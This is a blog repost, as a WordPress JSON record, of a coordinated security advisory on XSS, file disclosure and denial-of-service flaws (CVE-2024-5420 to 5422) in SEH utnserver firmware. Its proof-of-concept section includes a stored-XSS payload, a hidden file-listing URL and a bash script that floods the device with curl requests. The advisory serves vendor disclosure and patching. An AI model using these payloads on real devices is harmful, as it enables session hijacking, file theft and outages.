{"id":57372,"date":"2024-06-10T17:20:01","date_gmt":"2024-06-10T14:20:01","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178999\/CDSR-20240605-0.txt"},"modified":"2024-06-10T17:20:01","modified_gmt":"2024-06-10T14:20:01","slug":"seh-utnserver-pro-promax-inu-100-20-1-22-xss-dos-file-disclosure","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/seh-utnserver-pro-promax-inu-100-20-1-22-xss-dos-file-disclosure\/","title":{"rendered":"SEH utnserver Pro\/ProMAX \/ INU-100 20.1.22 XSS \/ DoS \/ File Disclosure"},"content":{"rendered":"<p>CyberDanube Security Research 20240604-0<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>title| Multiple Vulnerabilities<br \/>product| SEH utnserver Pro\/ProMAX \/ INU-100<br \/>vulnerable version| 20.1.22<br \/>fixed version| 20.1.28<br \/>CVE number| CVE-2024-5420, CVE-2024-5421, CVE-2024-5422<br \/>impact| High<br \/>homepage| https:\/\/www.seh-technology.com\/<br \/>found| 2024-03-04<br \/>by| T. Weber (Office Vienna)<br \/>| CyberDanube Security Research<br \/>| Vienna | St. P\u00f6lten<br \/>|<br \/>| https:\/\/www.cyberdanube.com<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>Vendor description<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>&#8220;We are SEH from Bielefeld &#8211; manufacturer of high-quality network solutions.<br \/>With over 35 years of experience in the fields of printing and networks, we<br \/>offer our customers a broad and high-level expertise in solutions for all types<br \/>of business environments.&#8221;<\/p>\n<p>Source: https:\/\/www.seh-technology.com\/us\/company\/about-us.html<\/p>\n<p>Vulnerable versions<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>utnserver Pro \/ 20.1.22<br \/>utnserver ProMAX \/ 20.1.22<br \/>INU-100 \/ 20.1.22<\/p>\n<p>Vulnerability overview<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>1) Stored Cross-Site Scripting (CVE-2024-5420)<br \/>A Stored Cross-Site Scripting vulnerability was identified in the web interface<br \/>of the device. Multiple parameters, e.g. the device description, can be abused<br \/>to inject JavaScript code. An attacker can exploit this vulnerability by luring<br \/>a victim to visit a malicious website. Furthermore, it is possible to hijack<br \/>the session of the attacked user.<\/p>\n<p>2) Authenticated File Disclosure (CVE-2024-5421)<br \/>Files and content of directories can be disclosed by integrated functions of<br \/>the device.<\/p>\n<p>3) Denial of Service (CVE-2024-5422)<br \/>A Denial-of-Service vulnerability has been identified in the web interface of<br \/>the device. This can be triggered by sending a lot of requests that trigger<br \/>serial interface access on the device.<\/p>\n<p>Proof of Concept<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>1) Stored Cross-Site Scripting (CVE-2024-5420)<br \/>By accessing to the following URL, an attacker can modify the device<br \/>description:<br \/>http:\/\/$IP\/device\/description_en.html<\/p>\n<p>By using malicious JavaScript payload, it is possible to execute arbitrary<br \/>code. This snippet demonstrates such a payload:<br \/>&#8220;&gt;&lt;script&gt;alert(document.location)&lt;\/script&gt;<\/p>\n<p>Saving this text to the device description leads to a persistent cross-site<br \/>scripting. Therefore, everyone who openes the device description executes the<br \/>injected code in the context of the own browser.<\/p>\n<p>2) Authenticated File Disclosure (CVE-2024-5421)<br \/>A hidden function in the web-interface of the device can be used to disclose<br \/>directories and files on operating system level. The function can be accessed<br \/>directly via the browser:<\/p>\n<p>http:\/\/$IP\/info\/dir?\/<\/p>\n<p>This lists the current directory and provides the files to be downloaded.<\/p>\n<p>3) Denial of Service (CVE-2024-5422)<br \/>For triggering a denial of service on the device, multiple file descriptors<br \/>are opened by using the following script:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>#!\/bin\/bash<br \/>echo &#8220;Parameters: $1 $2&#8221;<br \/>last_iter=$(($2 &#8211; 1))<br \/>for ((i=1; i&lt;=$2; i++))<br \/>do<br \/>echo &#8220;[$i] Downloading application binary&#8221;<br \/>if [[ &#8220;$i&#8221; == &#8220;$last_iter&#8221; ]];then<br \/>curl http:\/\/$1\/info\/file?\/application &#8211;output .\/file_${i}.txt &amp;&gt; \/dev\/null<br \/>else<br \/>curl http:\/\/$1\/info\/file?\/application &#8211;output .\/file_${i}.txt &amp;&gt; \/dev\/null &amp;<br \/>fi<br \/>done<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>The vulnerabilities were manually verified on an emulated device by using the<br \/>MEDUSA scalable firmware runtime (https:\/\/medusa.cyberdanube.com).<\/p>\n<p>Solution<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>Install firmware version 20.1.28 to fix the vulnerabilities.<\/p>\n<p>Workaround<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>None<\/p>\n<p>Recommendation<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>CyberDanube recommends SEH Computertechnik customers to upgrade the firmware to<br \/>the latest version available.<\/p>\n<p>Contact Timeline<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>2024-03-11: Contacting SEH Computertechnik. Received reply from support. Sent<br \/>advisory to support.<br \/>2024-03-20: Asked for an update. Contact stated, that an internal timeline will<br \/>be defined.<br \/>2024-04-10: Asked for an update. Contact stated, that the vulnerabilities will<br \/>be patched soon.<br \/>2024-04-16: Contact sent link to patched firmware release candidate.<br \/>2024-05-31: Notified SEH Computertechnik that advisory will be released first<br \/>week of June. Received confirmation from SEH Computertechnik.<br \/>2024-06-04: Coordinated release of security advisory.<\/p>\n<p>Web: https:\/\/www.cyberdanube.com<br \/>Twitter: https:\/\/twitter.com\/cyberdanube<br \/>Mail: research at cyberdanube dot com<\/p>\n<p>EOF T. Weber \/ @2024<\/p>\n","protected":false},"excerpt":{"rendered":"<p>CyberDanube Security Research 20240604-0&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-title| Multiple Vulnerabilitiesproduct| SEH utnserver Pro\/ProMAX \/ INU-100vulnerable version| 20.1.22fixed version| 20.1.28CVE number| CVE-2024-5420, CVE-2024-5421, CVE-2024-5422impact| Highhomepage| https:\/\/www.seh-technology.com\/found| 2024-03-04by| T. Weber (Office Vienna)| CyberDanube Security Research| Vienna | St. P\u00f6lten|| https:\/\/www.cyberdanube.com&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- Vendor description&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8220;We are SEH from Bielefeld &#8211; manufacturer of high-quality network solutions.With over 35 years of experience in the fields of &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57372","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57372","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57372"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57372\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57372"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57372"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57372"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}